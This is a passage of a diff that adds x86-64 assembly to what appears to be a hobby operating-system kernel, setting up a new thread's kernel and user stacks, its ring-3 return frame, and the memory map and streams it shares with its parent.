;----------------------------------------------------------------------- + ; context stack and return point (initialization entry) + ;----------------------------------------------------------------------- + + ; describe the space under context stack of process + mov rax, KERNEL_TASK_STACK_address + mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_process + mov ecx, KERNEL_TASK_STACK_SIZE_page + mov r11, rdi + call kernel_page_alloc + + ; set process context stack pointer + mov rsi, KERNEL_TASK_STACK_pointer - (KERNEL_EXEC_STRUCTURE_RETURN.SIZE + KERNEL_EXEC_STACK_OFFSET_registers) + mov qword [r10 + KERNEL_TASK_STRUCTURE.rsp], rsi + + ; prepare exception exit mode on context stack of process + mov rsi, KERNEL_TASK_STACK_pointer - STATIC_PAGE_SIZE_byte + call kernel_page_address + + ; set pointer to return descriptor + and rax, STATIC_PAGE_mask ; drop flags + add rax, qword [kernel_page_mirror] ; convert to logical address + add rax, STATIC_PAGE_SIZE_byte - KERNEL_EXEC_STRUCTURE_RETURN.SIZE + + ; set first instruction executed by thread + mov rdx, qword [rsp] + mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rip], rdx + + ; code descriptor + mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.cs], KERNEL_GDT_STRUCTURE.cs_ring3 | 0x03 + + ; default processor state flags + mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.eflags], KERNEL_TASK_EFLAGS_default + + ; default stack pointer + mov rdx, KERNEL_EXEC_STACK_pointer - 0x10 ; no args + mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rsp], rdx + + ; stack descriptor + mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.ss], KERNEL_GDT_STRUCTURE.ds_ring3 | 0x03 + + ;----------------------------------------------------------------------- + ; stack + ;----------------------------------------------------------------------- + + ; alloc stack space + mov rcx, KERNEL_EXEC_STACK_SIZE_page + call kernel_memory_alloc + + ; map executable space to thread paging array + mov rax, KERNEL_EXEC_STACK_address + or bx, KERNEL_PAGE_FLAG_user + mov rsi, rdi + sub rsi, qword [kernel_page_mirror] + call kernel_page_map + + ; process memory usage + add qword [r10 + KERNEL_TASK_STRUCTURE.page], rcx + + ; process stack size + add qword [r10 + KERNEL_TASK_STRUCTURE.stack], rcx + + ; aquire parent task properties + call kernel_task_active + + ; threads use same memory map as parent + mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] + mov qword [r10 + KERNEL_TASK_STRUCTURE.memory_map], rax + + ; threads use same streams as parent + + ; in + mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_in] + inc qword [rax + KERNEL_STREAM_STRUCTURE.count] + mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_in], rax + + ; out + mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_out] + inc qword [rax + KERNEL_STREAM_STRUCTURE.count] + mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_out], rax + + ; map kernel space to process + mov r15, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] + or r15, qword [kernel_page_mirror] + call kernel_page_merge + + ; mark thread as ready + or word [r10 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_active | KERNEL_TASK_FLAG_thread | KERNEL_TASK_FLAG_init + + ; return process ID of new thread + mov rax, qword [r10 + KERNEL_TASK_STRUCTURE.pid] + + ; restore original registers + pop rdi + pop r15 + pop r11 + pop r10 + pop r9 + pop rsi + pop rdx + pop rcx + pop rbx + + ; end of routine + ret \ No newline at end of file